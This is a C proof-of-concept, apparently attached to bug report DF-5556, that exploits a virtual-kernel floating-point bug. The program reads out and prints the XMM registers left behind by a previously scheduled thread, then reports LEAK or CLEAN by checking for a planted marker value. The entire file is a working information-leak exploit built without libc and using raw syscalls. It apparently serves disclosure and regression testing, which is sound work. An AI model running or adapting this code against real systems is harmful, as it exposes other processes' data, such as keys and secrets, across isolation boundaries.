DF-5556 / attacker.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | /* * DF-5556 attacker โ runs INSIDE the vkernel. * * Static, -nostartfiles, raw syscalls (NO libc: libc's error path * dereferences %fs:0 TLS which is uninitialized without crt). * * The leak window is THIS process's FIRST entry to user mode: the * vkernel's go_user()/npxdna() takes the first-use path (npxinit), * which fxsave()s the LIVE XMM registers โ the previous FP owner's * leftovers, never wiped by the vkernel's npxsave() โ into our * td_savefpu and fxrstor()s them right back into the live registers. * So _start runs with XMM0..15 still holding the previous thread's * data. We read them out IMMEDIATELY โ before any blocking syscall โ * one register at a time into scalars, printed immediately (tiny stack * frame: the vkernel's initial user %rsp sits close under the stack * top page). * * Build: cc -static -O2 -nostartfiles -fno-stack-protector -o attacker attacker.c */ void _start(void); static long xsys3(long n, long a, long b, long c) { long ret; __asm__ __volatile__("syscall" : "=a"(ret) : "a"(n), "D"(a), "S"(b), "d"(c) : "rcx", "r11", "memory"); return ret; } static const char hex[] = "0123456789abcdef"; #define RDHALVES(i) \ __asm__ volatile( \ "movq %%xmm" #i ", %0 \n\t" \ "movhlps %%xmm" #i ", %%xmm" #i "\n\t" \ "movq %%xmm" #i ", %1" \ : "=r"(lo), "=r"(hi)) void _start(void) { unsigned long long lo, hi; char line[40]; int i, j, k, leak = 0, idx = 0; /* THE READOUT โ first instructions of the new image */ for (i = 0; i < 16; i++) { switch (i) { case 0: RDHALVES(0); break; case 1: RDHALVES(1); break; case 2: RDHALVES(2); break; case 3: RDHALVES(3); break; case 4: RDHALVES(4); break; case 5: RDHALVES(5); break; case 6: RDHALVES(6); break; case 7: RDHALVES(7); break; case 8: RDHALVES(8); break; case 9: RDHALVES(9); break; case 10: RDHALVES(10); break; case 11: RDHALVES(11); break; case 12: RDHALVES(12); break; case 13: RDHALVES(13); break; case 14: RDHALVES(14); break; case 15: RDHALVES(15); break; } if (hi == 0xDF555600DEADBEEFULL) leak++; if (lo == (unsigned long long)i) idx++; k = 0; line[k++] = 'X'; line[k++] = hex[(i >> 4) & 0xf]; line[k++] = hex[i & 0xf]; line[k++] = ' '; for (j = 1; j >= 0; j--) { unsigned long long v = (j == 1) ? hi : lo; int b; for (b = 60; b >= 0; b -= 4) line[k++] = hex[(v >> b) & 0xf]; line[k++] = ' '; } line[k++] = '\n'; xsys3(4, 1, (long)line, k); /* write(1, line, k) */ } /* verdict line */ k = 0; line[k++] = 'L'; line[k++] = 'E'; line[k++] = 'A'; line[k++] = 'K'; line[k++] = '_'; line[k++] = 'R'; line[k++] = 'E'; line[k++] = 'G'; line[k++] = 'S'; line[k++] = '='; if (leak >= 10) { line[k++] = '0' + (leak / 10); } line[k++] = '0' + (leak % 10); line[k++] = 'I'; line[k++] = 'D'; line[k++] = 'X'; line[k++] = '='; if (idx >= 10) { line[k++] = '0' + (idx / 10); } line[k++] = '0' + (idx % 10); line[k++] = ' '; line[k++] = 'R'; line[k++] = 'E'; line[k++] = 'S'; line[k++] = 'U'; line[k++] = 'L'; line[k++] = 'T'; line[k++] = '='; if (leak > 0) { line[k++]='L'; line[k++]='E'; line[k++]='A'; line[k++]='K'; } else { line[k++]='C'; line[k++]='L'; line[k++]='E'; line[k++]='A'; line[k++]='N'; } line[k++] = '\n'; xsys3(4, 1, (long)line, k); xsys3(1, 0, 0, 0); /* _exit(0) */ } |